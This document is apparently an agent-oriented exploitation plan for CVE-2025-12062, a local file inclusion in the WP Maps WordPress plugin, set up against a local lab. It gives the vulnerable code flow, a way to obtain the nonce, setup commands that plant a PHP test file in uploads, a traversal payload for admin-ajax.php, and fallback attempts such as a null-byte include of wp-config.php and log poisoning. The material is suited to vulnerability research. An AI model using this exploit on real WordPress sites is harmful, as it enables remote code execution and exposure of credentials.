Exploitation Research Plan: CVE-2025-12062 (WP Maps LFI)

1. Vulnerability Summary

The WP Maps plugin (versions <= 4.8.6) is vulnerable to a Limited Local File Inclusion (LFI) in the fc_load_template function. This function is part of the FlipperCode framework used by the plugin. The vulnerability exists because the plugin accepts a user-controlled path via an AJAX request and passes it to a PHP include() statement without sufficient sanitization or directory-level restrictions. While "limited" to files ending in .html, PHP's include() will execute any PHP code contained within those files, regardless of the extension.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Action: fc_load_template
• Vulnerable Parameter: template (or template_name)
• Authentication: Required (Subscriber-level or higher)
• Nonce: Required (Action: fc-call-nonce, localized as wpgmp_local.nonce)
• Precondition: The attacker must be able to identify or upload a .html file containing PHP code to the server.

3. Code Flow

1. Entry Point: The plugin registers an AJAX action wp_ajax_fc_load_template (via the Flippercode framework).
2. Nonce Verification: The handler calls check_ajax_referer('fc-call-nonce', 'nonce') or wp_verify_nonce($_POST['nonce'], 'fc-call-nonce').
3. Parameter Extraction: The template (or template_name) parameter is retrieved from the $_POST array.
4. Sink: The value is concatenated with .html and passed to an include() or require() statement.
   • Logic: include( $template . '.html' );
5. Execution: If $template contains path traversal sequences (e.g., ../../../../uploads/shell), the final path resolves to /var/www/html/wp-content/uploads/shell.html, and any PHP code inside is executed.

4. Nonce Acquisition Strategy

The nonce is generated in classes/wpgmp-helper.php and localized for the wpgmp-google-map-main script.

Step-by-Step Acquisition:

1. Create Trigger Content: A map must be present to trigger the script enqueueing.
   • wp post create --post_type=page --post_status=publish --post_content='[put_wpgm id=1]'
2. Access Page: Navigate to the newly created page as a logged-in Subscriber.
3. Extract Nonce: Use the browser's JavaScript context to read the localized object.
   • Variable: window.wpgmp_local.nonce
   • Command: browser_eval("window.wpgmp_local?.nonce")

5. Exploitation Strategy

Step 1: Payload Preparation

Since Subscribers cannot normally upload .html files, we simulate a successful "polyglot" upload (or a scenario where an attacker found another way to place a file) by writing a file to the uploads directory.

Step 2: Request Execution

Submit a POST request to admin-ajax.php using the http_request tool.

HTTP Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=fc_load_template&nonce=[EXTRACTED_NONCE]&template=../../../../uploads/poc
  

  (Note: The template parameter should not include the .html extension as the plugin appends it).

6. Test Data Setup

1. Requirement: The plugin must be active.
2. Create Subscriber:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
3. Create Map Data: The plugin requires a map record to exist for the shortcode to work.
   • wp db query "INSERT INTO wp_wpgm_maps (map_title, map_width, map_height) VALUES ('Test Map', '100%', '400px');" (Assumes standard table name wp_wpgm_maps).
4. Create Trigger Page:
   • wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='[put_wpgm id=1]'
5. Place Malicious File:
   • echo '<?php echo "LFI_SUCCESS_" . (7*7); ?>' > /var/www/html/wp-content/uploads/poc.html

7. Expected Results

• Success: The HTTP response body should contain LFI_SUCCESS_49.
• Status Code: 200 OK.
• Failure: If the nonce is invalid, the response will be 0 or a -1 or a 403 Forbidden. If the path is wrong, a PHP warning (if display_errors is on) or an empty response will be returned.

8. Verification Steps

1. Verify Execution: Check the response of the http_request for the string LFI_SUCCESS_49.
2. Verify Error Logs: If the request fails, check the WordPress debug log for include() errors which will reveal the base directory the plugin is searching in:
   • tail -n 20 /var/www/html/wp-content/debug.log

9. Alternative Approaches

• Parameter Variation: If template fails, try template_name or file_path.
• Directory Discovery: If the traversal depth is unknown, try increasing the number of ../ sequences (e.g., ../../../../../../../../uploads/poc).
• Null Byte (Obsolete): While usually patched in PHP 5.3+, if the environment is extremely old, template=../../../../wp-config.php%00 might bypass the .html extension requirement. (Unlikely for CVE-2025).
• Log File Inclusion: If you cannot upload a file, attempt to include the server access logs or error.log if you can poison them with PHP code and rename them to .html (requires higher OS privileges, usually not feasible).